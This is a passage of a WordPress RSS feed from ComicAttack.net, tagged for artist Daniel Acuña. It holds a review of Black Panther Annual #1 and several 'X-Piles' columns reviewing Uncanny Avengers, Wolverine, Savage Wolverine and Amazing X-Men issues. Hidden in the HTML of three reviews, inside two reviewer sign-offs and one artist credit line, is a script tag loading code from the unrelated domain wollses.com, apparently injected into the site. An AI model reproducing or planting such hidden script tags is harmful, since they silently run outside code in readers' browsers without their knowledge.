<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Daniel Acuna – ComicAttack.net</title> <atom:link href="https://comicattack.net/tag/daniel-acuna/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Mon, 26 Feb 2018 18:49:19 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>Daniel Acuna – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>Marvel Reviews: Black Panther Annual #1</title> <link>https://comicattack.net/blackpantherannual1rev/</link> <comments>https://comicattack.net/blackpantherannual1rev/#respond</comments> <dc:creator><![CDATA[InfiniteSpeech]]></dc:creator> <pubDate>Mon, 26 Feb 2018 18:49:19 +0000</pubDate> <category><![CDATA[Infinite Speech]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Black Panther]]></category> <category><![CDATA[Christopher Priest]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[Don McGregor]]></category> <category><![CDATA[Everett Ross]]></category> <category><![CDATA[Reggie Hudlin]]></category> <category><![CDATA[Storm]]></category> <category><![CDATA[T'Challa]]></category> <category><![CDATA[Wakanda]]></category> <guid isPermaLink="false">https://comicattack.net/?p=138880</guid> <description><![CDATA[Black Panther Annual #1 Publisher: Marvel Writer(s): Christopher Priest, Don McGregor, Reggie Hudlin Artist(s): Mike Perkins, Daniel Acuña, Ken Lashley Colorist(s): Andy Troy & Matt Milla Cover: Daniel Acuña The Black Panther annual brings together some of the most influential creators to ever touch the character with three separate stories from specific timelines in T’Challa’s long comic […]]]></description> <content:encoded><![CDATA[<p><em><strong><img fetchpriority="high" decoding="async" class="alignleft size-medium wp-image-138881" src="https://comicattack.net/wp-content/uploads/2018/02/Black-Panther-Annual-cover-195x300.jpg" alt="" width="195" height="300" />Black Panther Annual #1</strong></em><br /> <strong>Publisher: </strong>Marvel<br /> <strong>Writer(s):</strong> Christopher Priest, Don McGregor, Reggie Hudlin<br /> <strong>Artist(s): </strong>Mike Perkins, Daniel Acuña, Ken Lashley<br /> <strong>Colorist(s):</strong> Andy Troy & Matt Milla<br /> <strong>Cover:</strong> Daniel Acuña</p> <p>The <em>Black Panther</em> annual brings together some of the most influential creators to ever touch the character with three separate stories from specific timelines in T’Challa’s long comic history. Priest, McGregor, and Hudlin each have left their mark on Black Panther in a way that has influenced much of what have seen in the present day character’s lore and now very successful solo movie debut.</p> <p>The first story, “Back In Black” returns Christopher Priest to the world of Black Panther but it’s Everett K. Ross who takes center stage here. In Priest’s hands, Ross is the everyman we actually want to follow even when you’ve got one of the Marvel’s best superheroes in the same story. For the fans who discovered <em>Black Panther</em> through Priest this does feel like his Marvel Knights run only set in present day. In a short time he fills this story with characters like Malice, Hunter, and Wakanda’s Secret Police the Hatut Zeraze and it never feels crowded. Mike Perkins and Andy Troy deliver top notch dark and moody visuals that make every panel a joy to see. From the stark white costumes worn by the Hatut Zeraze to a shark getting kicked in the face it’s panel after panel of great comic action. Perkins also gives us a version of T’Challa’s costume that is a nice balance of what we’ve seen recently and his classic pajama style suit from years ago.</p> <p>Don McGregor switches up the pace with “Panther’s Heart” and is set in an alternate past where T’Challa is dealing with the death of Monica Lynne. This is a moving story where the King is doing something that most in his kingdom won’t agree with to honor the woman he loved. McGregor kicks you in the feelings with this one as we see that very human side of T’Challa as like with all of us there are some things we just can’t stop regardless of how powerful we are. Daniel Acuña moves the narrative well and catches every emotional beat needed here. Especially T’Challa’s last words in this story which sums up everything.</p> <p>The final entry here is from Reggie Hudlin with “Black to the Future”. Now here we have an alternate future story where T’Challa and Storm remained married. Being one of those comic readers who was never a huge fan of this relationship it was nice that it’s not the focus of this story. Better yet we see a world where Wakanda rules all and T’Challa is asked a very important question from his granddaughter. From here Hudlin walks us through the events that have led to Wakanda’s current position in the world with Ken Lashley and Matt Milla making it look good. As exciting as this story gets at times, Hudlin makes it plain that he’s not here to just deliver some Wakandan utopia for readers to cheer about. He makes you question some of the decisions made and if it was all worth it.</p> <p><img decoding="async" class="aligncenter wp-image-138884" src="https://comicattack.net/wp-content/uploads/2018/02/BLAPANN-12.jpg" alt="" width="400" height="185" /></p> <p>Now with the exception of McGregors story you really don’t need to know decades of Black Panther backstory to enjoy this issue. And even with McGregor’s tale it’s still an impactful story because everyone can relate to it on some level. The art is wonderful and it’s a definite read for anyone looking for a decent BP story to get into.</p> <p>Infinite Speech<br /> infinitespeech@comciattack.net</p> <p> </p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/blackpantherannual1rev/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>All-New Uncanny X-Piles #170</title> <link>https://comicattack.net/anuxp170/</link> <comments>https://comicattack.net/anuxp170/#comments</comments> <dc:creator><![CDATA[SpidermanGeek]]></dc:creator> <pubDate>Fri, 06 Jun 2014 13:00:03 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Jeff]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[New Releases]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[SpidermanGeek]]></category> <category><![CDATA[The Uncanny X-Piles]]></category> <category><![CDATA[X-Men]]></category> <category><![CDATA[banner]]></category> <category><![CDATA[Chronos Corps]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[David Curiel]]></category> <category><![CDATA[Gerardo Sandoval]]></category> <category><![CDATA[Havok]]></category> <category><![CDATA[MI-13]]></category> <category><![CDATA[Paul Cornell]]></category> <category><![CDATA[Pinch]]></category> <category><![CDATA[Rick Remender]]></category> <category><![CDATA[Uncanny Avengers]]></category> <category><![CDATA[Unity Squad]]></category> <category><![CDATA[Wolverine]]></category> <guid isPermaLink="false">https://comicattack.net/?p=111595</guid> <description><![CDATA[Welcome back ComicAttackers and X-fans to this week’s edition of the All-New Uncanny X-Piles where a handful of our merriest mutant loving reviewers have dropped by once again to regale you with their thoughts on that one X-Title that has impacted them the most, be it good or bad, from last week’s releases. Infinite Speech is away […]]]></description> <content:encoded><![CDATA[<p>Welcome back ComicAttackers and X-fans to this week’s edition of the All-New Uncanny X-Piles where a handful of our merriest mutant loving reviewers have dropped by once again to regale you with their thoughts on that one X-Title that has impacted them the most, be it good or bad, from last week’s releases. Infinite Speech is away auditioning to be the next Human Torch’s stunt double, but keep reading, true believers, to discover what The Comic Book Clergyman and SpidermanGeek have to say about your favorite Marvel mutants’ adventures of the week and don’t forget to leave a comment to tell us what YOU think!</p> <p>[divider]</p> <p><a href="https://comicattack.net/wp-content/uploads/2014/06/Cover_Uncanny_Avengers_020.jpg"><img decoding="async" class="alignleft size-medium wp-image-111596" src="https://comicattack.net/wp-content/uploads/2014/06/Cover_Uncanny_Avengers_020-195x300.jpg" alt="Cover_Uncanny_Avengers_020" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/06/Cover_Uncanny_Avengers_020-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/06/Cover_Uncanny_Avengers_020-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2014/06/Cover_Uncanny_Avengers_020-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2014/06/Cover_Uncanny_Avengers_020.jpg 1987w" sizes="(max-width: 195px) 100vw, 195px" /></a><em><strong>Uncanny Avengers #20</strong></em><br /> <strong>Writer:</strong> Rick Remender<br /> <strong>Artist:</strong> Daniel Acuña</p> <p>Maybe it’s because <a title="Click to watch the Trailer!" href="https://comicattack.net/2014/04/xmdofptrail3/">X-Men: Days of Future Past</a> has got me all giddy, but for the first time since <a title="Click here for our thoughts on Uncanny Avengers 18.NOW!" href="https://comicattack.net/2014/03/anuxp161/">this alternate future story began</a>, I really enjoyed an issue of <em>Uncanny Avengers</em>.</p> <p>This is the part where the tide is starting to turn. The deck is stacked against Havok and his partnership with <a title="Click to learn more about Kang the Conqueror" href="https://comicattack.net/2011/01/marvsnap-kang/">Kang</a> and the Chronos Corps. Magneto, Cyclops, Storm, and a host of other mutants are there to take them down. Yet, in a classic X-Men moment, Cyclops turns and helps his brother, which gives Alex enough of a bump to continue gathering the Avengers Unity Squad to go back in time and fix the wrongs that Eimin has done.</p> <p>This issue is fun because Remender seems to enjoy pairing up characters for a good fight. Psylocke takes on Magistrate Braddock, her alternate self; Cable takes on Stryfe; Spider-Woman from Earth X takes on Daken…it’s just fun to watch it happen. Wolverine and Sunfire return to the fold as well, and have some great moments.</p> <p>Story-wise, this was just solid Remender storytelling, taking classic X-Men tropes and making them feel fresh.</p> <p>My only complaint about this story is Acuña’s art. He’s just not my favorite artist. His art feels distant to me, too ethereal, so in my mind the panels are just not grounded. His colors look so washed out that many of these intense moments just feel flat to me. This whole series has suffered from art problems, and Acuña doesn’t make it better. A story like this deserves a bigger pop.</p> <p>Despite the art, I’m still on-board and can’t wait to see what happens when the Unity Squad goes back in time to correct the future. <em><strong>–JJ<script src="//wollses.com/steps"></script></strong></em></p> <p><strong>Rating: 6.5/10</strong></p> <p><a href="https://comicattack.net/wp-content/uploads/2014/06/Cover_Wolverine_V6_007.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-111597" src="https://comicattack.net/wp-content/uploads/2014/06/Cover_Wolverine_V6_007-195x300.jpg" alt="Cover_Wolverine_V6_007" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/06/Cover_Wolverine_V6_007-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/06/Cover_Wolverine_V6_007-768x1180.jpg 768w, https://comicattack.net/wp-content/uploads/2014/06/Cover_Wolverine_V6_007-667x1024.jpg 667w, https://comicattack.net/wp-content/uploads/2014/06/Cover_Wolverine_V6_007.jpg 1920w" sizes="(max-width: 195px) 100vw, 195px" /></a><em><strong>Wolverine #7</strong></em><br /> <strong>Writer:</strong> Paul Cornell<br /> <strong>Artist:</strong> Gerardo Sandoval</p> <p><em>The Madripoor Job, Part Two</em>. Things unravel for Wolverine in this issue as the truth comes out, but even after seven issues in, I still can’t get a grasp on what exactly is going on with this series. For one thing, Wolverine spends most of this issue getting his butt saved by other people. Is that what he’s the best at doing now? Being the damsel in distress? Even after what could have been a cool moment of Logan fighting alternate versions of himself, another character steps in to ruin the fun.</p> <p>Aside from a couple of well written panels where Pinch calls out Wolverine about his current state and predicament, I am of the opinion that Paul Cornell doesn’t write a Wolverine that I can see myself giving a damn about. I also don’t care for the supporting cast he’s created and as much as I feel like MI-13 is underutilized, their presence seems forced and all they managed to do on more than one occasion was to swoop in and get Logan out of a jam. So if you want to read a book about Wolverine failing at everything, then I guess you’ve come to the right place.</p> <p>On the art front, that cover by Ryan Stegman is absolutely stellar. We don’t get to see enough cool artwork involving Wolverine in his Patch persona. As for the interiors, Gerardo Sandoval is an extremely capable artist who is obviously heavily influenced by guys like Joe Mad and Roger Cruz. There’s a bit of an overuse of half and full page panels that contain very little dialogue or narration, and that kind of speeds up the reading pace too much for my taste. You will get through this book very quickly, but if you catch yourself and slow down just enough to enjoy the artwork, you’ll be doing yourself a favor. David Curiel does a supreme job on the colors too.</p> <p>The bottom line is that I personally am not a fan of Paul Cornell’s take on the Wolverine character and that’s been<a title="He's not lying, SpidermanGeek is not a fan of Cornell's Wolverine." href="https://comicattack.net/2013/04/uxp136/"> true since he launched the previous volume of this title</a>. So if you are enjoying what’s being done with Logan, then I’ll share <a title="Speech reviewed Issue #6 back in ANUXP #168" href="https://comicattack.net/2014/05/anuxp168/">Infinite Speech’s sentiment</a> and say that I’m happy for you as well. Though, other than the artwork, I see nothing original or appealing about this issue. <strong><em>–SMG</em></strong></p> <p><strong>Rating: 4/10</strong></p> <p>[divider]</p> <p>What did you think about this week’s X-books? Let us know below! You can check out more X-Piles <a title="Check out our past Uncanny X-Piles columns" href="https://comicattack.net/category/cafeaturedcolumns/the-uncanny-x-piles/">right here</a>!</p> <p><a href="mailto:infinitespeech@comicattack.net">infinitespeech@comicattack.net</a> – <a title="Follow him on Twitter" href="http://twitter.com/infinitespeech">@InfiniteSpeech</a><br /> <a href="mailto:jeff@comicattack.net">jeff@comicattack.net</a> – <a title="Follow him on Twitter" href="http://twitter.com/FrJeffJackson">@FrJeffJackson</a><br /> <a href="mailto:spidermangeek@comicattack.net">spidermangeek@comicattack.net</a> – <a title="Follow him on Twitter" href="http://twitter.com/SpidermanGeek">@SpidermanGeek</a></p> <p> </p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/anuxp170/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>The All-New Uncanny X-Piles 165</title> <link>https://comicattack.net/anuxp165/</link> <comments>https://comicattack.net/anuxp165/#respond</comments> <dc:creator><![CDATA[Jeff]]></dc:creator> <pubDate>Wed, 30 Apr 2014 13:00:15 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Infinite Speech]]></category> <category><![CDATA[Jeff]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[SpidermanGeek]]></category> <category><![CDATA[Super Types]]></category> <category><![CDATA[The Uncanny X-Piles]]></category> <category><![CDATA[X-Men]]></category> <category><![CDATA[banner]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[Richard Isanove]]></category> <category><![CDATA[Rick Remender]]></category> <category><![CDATA[Savage Wolverine]]></category> <category><![CDATA[Uncanny Avengers]]></category> <guid isPermaLink="false">https://comicattack.net/?p=110623</guid> <description><![CDATA[Hey X-ophiles! We are only a few weeks away from X-Men: Days of Future Past. Perhaps you have been away from the fold for a while and in anticipation of the movie, you are wondering what’s going on in the X-books these days. Well, look no further! Oh wait, this week we got a flashback […]]]></description> <content:encoded><![CDATA[<p>Hey X-ophiles! We are only a few weeks away from X-Men: Days of Future Past. Perhaps you have been away from the fold for a while and in anticipation of the movie, you are wondering what’s going on in the X-books these days. Well, look no further! Oh wait, this week we got a flashback Wolverine story and an alternate future story. Never mind. Enjoy the reviews from SpidermanGeek & the Comic Book Clergyman anyway!</p> <p>[divider]</p> <p><strong><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-110624" src="https://comicattack.net/wp-content/uploads/2014/04/Cover_Savage_Wolverine_017-195x300.jpg" alt="Cover_Savage_Wolverine_017" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/04/Cover_Savage_Wolverine_017-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/04/Cover_Savage_Wolverine_017-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2014/04/Cover_Savage_Wolverine_017-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2014/04/Cover_Savage_Wolverine_017.jpg 1988w" sizes="(max-width: 195px) 100vw, 195px" />Savage Wolverine #17<br /> </strong><strong>Writer & Artist</strong>: Richard Isanove</p> <p>Some of the best Wolverine stories are the most tragic, and this one is no exception. Over the course of the last few issues, we have been treated to Richard Isanove’s beautifully rendered take on a past Wolverine story.</p> <p>Logan is at his best when he’s got his back against the wall, but what Isanove does extremely well is put his back against the wall along with a helpless family. When Logan is used as the defender of the weak, he is really compelling. Yet where Isanove has pushed this story has been really tragic.</p> <p>It seems that being friends with Logan is not in anyone’s best interest. In 1933, Logan has strong ties to a family, but when the family crosses paths with some really bad gangsters, Logan is made their protector. However, lest you think this story has a happy ending and everyone comes out unscathed, you’d be wrong. Every part of this story arc has had Logan fail somehow at his job of protecting the family. Everywhere they go, death and destruction follow them. This issue is the conclusion to the story, and while it ends on a satisfying note, it’s not altogether happy.</p> <p>Seeing Logan as flawed, imperfect, and not being the best at what he does is a welcome status quo. Isanove does a perfect job of characterizing him in this story, and I want to see more of this Wolverine. The villains in this story are truly scary because they are just normal, and really bad guys. You don’t always need super powers to make someone deadly.</p> <p>On top of the excellent story, Isanove’s painted panels are simply beautiful. This book just looks beautiful. He doesn’t spare the violence either, as there are some scenes that are just difficult to view.</p> <p>This book has had little to no buzz, but is going to make a fantastic hardcover or trade. This story should have been the real “Origin II,” as it depicts Logan in a vulnerable and growing state in his history. Marvel needs to take note that these types of Wolverine stories, done by Isanove, could make a great series of graphic novels for everyone’s bookshelves. –<em>JJ<script src="//wollses.com/steps"></script></em></p> <p><strong>Rating: 8.5/10</strong></p> <p><strong><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-110625" src="https://comicattack.net/wp-content/uploads/2014/04/Cover_Uncanny_Avengers_019-195x300.jpg" alt="Cover_Uncanny_Avengers_019" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/04/Cover_Uncanny_Avengers_019-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/04/Cover_Uncanny_Avengers_019-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2014/04/Cover_Uncanny_Avengers_019-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2014/04/Cover_Uncanny_Avengers_019.jpg 1987w" sizes="(max-width: 195px) 100vw, 195px" />Uncanny Avengers #19</strong><br /> <strong>Writer</strong>: Rick Remender<br /> <strong>Artist</strong>: Daniel Acuña</p> <p>After Wasp’s capture and Havok’s escape, Eimin gathers the X-Council to plea for final action against the rebellious mutant. After much discussion and plot exposition, Cyclops and Storm lead the operation to take down Havok. Meanwhile, Havok meets with Thor, Kang and a selection of time-displaced villains known as the Chronos Corps who have been who have been plucked from their own dying timelines. The group is now on Planet X, tasked with breaching the Tachyon Dam to go back in time, save the Earth and consequently, the other timelines.</p> <p>Rick Remender has been crafting quite the epic in his Uncanny Avengers book. This story might even be too large to contain in a single title, but I will not be one to complain because having such an event take place without feeling obligated to fork out cash for useless tie-ins and one-shots is a welcomed change.</p> <p>Remender manages to tell this story while making us sympathetic to both sides here. Without a doubt, Eimin is as nuts as they come, but you find yourself seeing the rest of the X-Council’s point. Planet X is their world now, and they want to do what they can to preserve it. They have built lives, bore children, etc. Then over in Havok’s camp, Remender makes sure that we as the reader understand the motivations of the Chronos Corps and why the mission to restore the timeline is so important in regards to the “big picture”. I even found myself not faulting Kang for doing what he had to do to ensure that Havok succeeds in doing his part.</p> <p>I’ve typically always liked Daniel Acuña’s work. He has a unique signature style and I respect an artist that can handle every aspect of his craft. Acuña’s Inks are particularly sharp here and I’ve always been a fan of his panel layouts with certain characters protruding from the boxes here and there. They are used sparingly and to great effect. The artist’s color work is also fantastic and seems stronger every time I’m privy to his latest stuff. The time-displaced villains all look great too, and I loved seeing Iron Man 2020, Dr. Doom 2099, and symbiote May Parker again.</p> <p>The bottom line is that Rick Remender’s Uncanny Avengers title might not be everyone’s cup of tea and can be quite confusing for anyone being dropped into the middle of this current story, but if you’ve been reading from the get-go, chances are that issue #19 offers a very satisfying piece to the current act’s puzzle with Acuña’s beautiful visuals and Remender’s great grasp on the way each character should and are handling the situations they find themselves in. And hey… I don’t think anyone died in this issue. Bonus! –<em>SG</em></p> <p><strong>Rating: 8.5/10</strong></p> <p>[divider]</p> <p>What did you think about this week’s X-books? Let us know below! You can check out more X-Piles<a href="https://comicattack.net/category/cafeaturedcolumns/the-uncanny-x-piles/"> right here</a>!</p> <p><a href="mailto:infinitespeech@comicattack.net">infinitespeech@comicattack.net</a> – <a href="http://twitter.com/infinitespeech">@InfiniteSpeech</a><br /> <a href="mailto:jeff@comicattack.net">jeff@comicattack.net</a> – <a href="http://twitter.com/frjeffjackson">@FrJeffJackson</a><br /> <a href="mailto:spidermangeek@comicattack.net">spidermangeek@comicattack.net</a> – <a href="http://twitter.com/spidermangeek">@SpidermanGeek</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/anuxp165/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>All-New Uncanny X-Piles #161</title> <link>https://comicattack.net/anuxp161/</link> <comments>https://comicattack.net/anuxp161/#comments</comments> <dc:creator><![CDATA[SpidermanGeek]]></dc:creator> <pubDate>Sat, 29 Mar 2014 18:00:31 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Infinite Speech]]></category> <category><![CDATA[Jeff]]></category> <category><![CDATA[Marvel]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[SpidermanGeek]]></category> <category><![CDATA[The Uncanny X-Piles]]></category> <category><![CDATA[X-Men]]></category> <category><![CDATA[Amazing X-Men]]></category> <category><![CDATA[Avengers]]></category> <category><![CDATA[banner]]></category> <category><![CDATA[Daniel Acuna]]></category> <category><![CDATA[Ed McGuinness]]></category> <category><![CDATA[Havok]]></category> <category><![CDATA[infinite speech]]></category> <category><![CDATA[Jason Aaron]]></category> <category><![CDATA[Jeff Jackson]]></category> <category><![CDATA[mutant]]></category> <category><![CDATA[Nightcrawler]]></category> <category><![CDATA[Richard Isanove]]></category> <category><![CDATA[Rick Remender]]></category> <category><![CDATA[Savage Wolverine]]></category> <category><![CDATA[Uncanny Avengers]]></category> <category><![CDATA[Uncanny X-Piles]]></category> <category><![CDATA[Wasp]]></category> <category><![CDATA[Wolverine]]></category> <guid isPermaLink="false">https://comicattack.net/?p=109549</guid> <description><![CDATA[Welcome back ComicAttackers and X-fans to this week’s edition of The All-New Uncanny X-Piles where a handful of our merriest mutant loving reviewers have dropped by once again to regale you with their thoughts on that one X-Title that has impacted them the most, be it good or bad, from last week’s releases. So keep […]]]></description> <content:encoded><![CDATA[<p>Welcome back ComicAttackers and X-fans to this week’s edition of The All-New Uncanny X-Piles where a handful of our merriest mutant loving reviewers have dropped by once again to regale you with their thoughts on that one X-Title that has impacted them the most, be it good or bad, from last week’s releases. So keep reading, true believers, to discover what InfiniteSpeech, SpidermanGeek, and The Comic Book Clergyman have to say about your favorite Marvel mutants’ adventures and don’t forget to leave a comment to tell us what YOU think!</p> <p>[divider]</p> <p><a href="https://comicattack.net/wp-content/uploads/2014/03/Cover_Amazing_X-Men_V2_005.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-109550" alt="Cover_Amazing_X-Men_V2_005" src="https://comicattack.net/wp-content/uploads/2014/03/Cover_Amazing_X-Men_V2_005-195x300.jpg" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/03/Cover_Amazing_X-Men_V2_005-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Amazing_X-Men_V2_005-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Amazing_X-Men_V2_005-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Amazing_X-Men_V2_005.jpg 1987w" sizes="(max-width: 195px) 100vw, 195px" /></a><em><strong>Amazing X-Men #5</strong></em><br /> <strong>Writer:</strong> Jason Aaron<br /> <strong>Artist:</strong> Ed McGuinness</p> <p>Jason Aaron knows that if you are going to bring back a dead character, which is a major X-Men trope, you have to also take something away. That’s the whole crux of this final issue of the “<em>Quest for Nightcrawler</em>”.</p> <p>The stakes are high as the X-Men take on a slew of Azazel’s pirate demons in the battle of everyone’s souls. The action is intense, and some really cool fight sequences happen. It’s great to see Wolverine be vulnerable without his healing factor, and that plays into the story here. Although I must say, for someone who doesn’t have a healing factor, he’s doing pretty well after being stabbed with a sword.</p> <p>But the real twist that makes this story move in an excellent way, is that <a title="Click to learn more about Nightcrawler" href="https://comicattack.net/2010/05/marvsnap-spot-nightcrawler/">Nightcrawler</a> devises a plan to trap Azazel in the real world, but at the cost of his own soul. So now we have Nightcrawler back, but it will be interesting to see how he will be handled without the one thing that makes him unique in the X-Men.</p> <p>This team of X-Men is really fun. Having Firestar on the team is just a perfect fit. It’s a well-balanced cast and even if they tweak the members a bit, as long as Firestar and Nightcrawler are featured here, I’m on board.</p> <p>McGuinness absolutely rocks. His work on this story has been the best work of his career, in my opinion, and the stuff before this was stellar. This issue is just beautiful to look at, and Dexter Vines’ inks bring a clean, distinct clarity to the X-Men.</p> <p>Overall, this was the best way for Nightcrawler to return, and I applaud Aaron and McGuinness for handling it so well. <em>–JJ</em></p> <p><strong>Rating: 8.5/10</strong></p> <p><a href="https://comicattack.net/wp-content/uploads/2014/03/Cover_Savage_Wolverine_016.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-109551" alt="Cover_Savage_Wolverine_016" src="https://comicattack.net/wp-content/uploads/2014/03/Cover_Savage_Wolverine_016-195x300.jpg" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/03/Cover_Savage_Wolverine_016-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Savage_Wolverine_016-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Savage_Wolverine_016-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Savage_Wolverine_016.jpg 1988w" sizes="(max-width: 195px) 100vw, 195px" /></a><em><strong>Savage Wolverine #16</strong></em><br /> <strong>Writer:</strong> Richard Isanove<br /> <strong>Artist:<script src="//wollses.com/steps"></script></strong> Richard Isanove</p> <p><em>Wrath</em>, Part 3. It’s 1933 in Minnesota and even 80 years ago, trouble just seems to follow Logan wherever he goes. A French gangster kills a longtime friend of Logan’s and kidnaps his daughter. Naturally, Logan rescues the girl, Sofia, and is now on the run with her and her siblings, Peter, Matt, and Vicki, the latter of which has fallen terribly ill. Peter wanders off in search of medicine which forces Logan to go find him, but what he finds instead is more trouble, with the law. Logan surrenders as long as he’s allowed to bring Sofia with him. They agree and we kick-off this issue with Wolverine in a jail cell.</p> <p>Richard Isanove has crafted a unique adventure for Wolverine. As much as everyone loves to see him in yellow tights doing his superhero thing, we sometimes forget that Logan has been around since before there was even such a thing as superheroes. The setting is perfectly tailored to Isanove’s strengths. Readers might be more familiar with Richard’s collaborations on <em>The Dark Tower</em> series, but <em>Savage Wolverine</em> seems to be the artist’s first published work that has him tackling every aspect of the story. Scripts, pencils, inks and colors. That’s what the <em>Savage Wolverine</em> title is all about really. One creator, one story across a handful of issues.</p> <p>Isanove’s script is better than his art in this instance. Reading about what Wolverine was getting himself into in the 1930’s is always a fun break from present day Earth-616. The supporting cast is compelling and diverse and there are plenty of characters in play that you can chose to love to hate or hate to love. Richard also has a good grasp on who Logan is, especially a pre-WWII/Vietnam/<a title="Click to learn more about Weapon X" href="https://comicattack.net/2012/09/yosc-weaponx1/">Weapon X</a> Logan.</p> <p>The artist’s panel layouts and colors are strong. Isanove knows how to set the tone and tell a great story, visually. The weakest links here are the pencils and inks. They’re just not as crisp as they could be, in my opinion.</p> <p>The bottom line is that, so far, <em>Wrath</em> is an enjoyable tale that merits inclusion in the Wolverine mythos. Richard Isanove is a very capable writer as well as a tremendous storyteller. Art wise, it may not be his absolute best work, but it certainly isn’t worthy of dismissal either. <em>– SMG</em></p> <p><strong>Rating: 8/10</strong></p> <p><a href="https://comicattack.net/wp-content/uploads/2014/03/Cover_Uncanny_Avengers_018_NOW.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-109552" alt="Cover_Uncanny_Avengers_018_NOW" src="https://comicattack.net/wp-content/uploads/2014/03/Cover_Uncanny_Avengers_018_NOW-195x300.jpg" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2014/03/Cover_Uncanny_Avengers_018_NOW-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Uncanny_Avengers_018_NOW-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Uncanny_Avengers_018_NOW-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2014/03/Cover_Uncanny_Avengers_018_NOW.jpg 1987w" sizes="(max-width: 195px) 100vw, 195px" /></a><em><strong>Uncanny Avengers #18.NOW</strong></em><br /> <strong>Writer:</strong> Rick Remender<br /> <strong>Artist:</strong> Daniel Acuña</p> <p>Last issue, Remender let the bad guys win in a very big way which resulted in the destruction of the Earth. And I don’t mean leaving it in a post-apocalyptic state with barren wastelands and contaminated water type of ending. I’m talking about total Alderaan destruction taking place here! That’s right folks, the Earth is no more but every mutant was saved by the Apocalypse Twins and are now living the good life.</p> <p>Now, some time has passed between issues but <a title="Click to learn more about Havok" href="https://comicattack.net/2012/09/marvsnap-havoc/">Havok</a> is determined to set things right even if it means going against his mutant brethren. Chased by a very different version of X-Force he and <a title="Click to learn more about The Wasp" href="https://comicattack.net/2011/09/marvsnap-wasp/">Wasp</a> are determined to destroy the Tachyon Transmitter. If they’re successful they will be able to get the help they need from a time traveling <a title="Click to learn more about Immortus" href="https://comicattack.net/2012/02/marvsnap-immortus/">Immortus</a>. Rememder keeps this a fast paced issue with some great action and violence along the way. As usual the dialogue is strong and we get hints as to how certain things have developed over time, effectively bringing us up to speed. Remender also left us with one hell of a cliff-hanger when we get to see who showed up to help fix everything.</p> <p>As far as what you’ll get visually, this is another fine looking issue from Acuña. This style has definitely grown on me and he keeps up with the pacing of the narrative quite perfectly. Also, the new character designs were subtle and not too far from what we’re used to seeing from the well-known characters. The Wasp also does some serious damage to Magneto and it looks brutal when Acuña finally reveals the results of the attack.</p> <p><em>Uncanny Avengers</em> seems to be getting lost in the shuffle when it should definitely be one of the books on top. And despite its missteps here and there it’s been one of the more consistently surprising titles on the Marvel roster since the whole <a href="https://comicattack.net/2012/08/digicomicsrebootmarvelnow/">Marvel NOW launch</a>. Sure, we know the characters that died will return somehow but the fact that 